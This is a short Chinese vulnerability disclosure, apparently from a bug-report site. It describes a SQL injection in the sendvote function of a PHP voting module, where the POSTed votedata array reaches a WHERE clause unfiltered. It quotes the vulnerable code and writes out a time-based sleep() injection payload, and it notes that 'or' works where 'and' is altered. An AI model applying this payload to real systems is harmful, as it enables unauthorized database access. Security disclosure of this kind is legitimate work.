### 简要描述:
过滤不严。
### 详细说明:
在voteaction.class.php中
```
public function sendvote() {
$vid=intval($_POST['vid']);
$votedata=$_POST['votedata'];
$isret=intval($_POST['isret']);
$isnone=intval($_POST['isnone']);
if ($vid) {
if (is_array($votedata)) {
$vmodel=D('Votes');
$vopt=D('Voteoptions');
$vuser=D('Voteusers');
$myvote=$vuser->where("vote_id='$vid' AND user_id='".$this->my['user_id']."'")->find();
$thevote=$vmodel->where("id='$vid'")->find();
if ($thevote) {
if ($myvote) {
$ret=array('ret'=>'error','msg'=>L('vote_voted'));
} else {
if ($thevote['last_time']<=time()) {
$ret=array('ret'=>'error','msg'=>L('vote_already_over'));
} else {
$vmodel->where("id='$vid'")->setInc('votetimes');
foreach($votedata as $val) {
if ($val) {
$options[]=$val;
$vopt->where("id='$val' AND vote_id='$vid'")->setInc('optiontimes');
}
}
```
$vid 转整了 无法利用
$votedata=$_POST['votedata'];
未过滤。
然后如果他为数组 就进那个if
然后遍历出 然后带入查询。
UPDATE `et_voteoptions` SET `optiontimes`=optiontimes+1 WHERE id='123' AND vote_id='1'
所执行的语句
123那里可控 然后 要注入话 这样
UPDATE `et_voteoptions` SET `optiontimes`=optiontimes+1 WHERE id='123' and id=sleep(5)#AND vote_id='1'
但是发现执行后 变成了
UPDATE `et_voteoptions` SET `optiontimes`=optiontimes+1 WHERE id='123' and id=sleep(10) #' AND vote_id='1'
and 的a不知道怎么变了 。。 那就用or把。
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201402/13155601eceb1bb963c4a61928da0404b0021901.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/13155601eceb1bb963c4a61928da0404b0021901.jpg)
[<img src="https://images.seebug.org/upload/201402/1315562062ad5d17c768244c9895294187a074c9.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1315562062ad5d17c768244c9895294187a074c9.jpg)
[<img src="https://images.seebug.org/upload/201402/1315563211d28b0ee3bd9e92c7f94e00b1234283.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1315563211d28b0ee3bd9e92c7f94e00b1234283.jpg)
暂无评论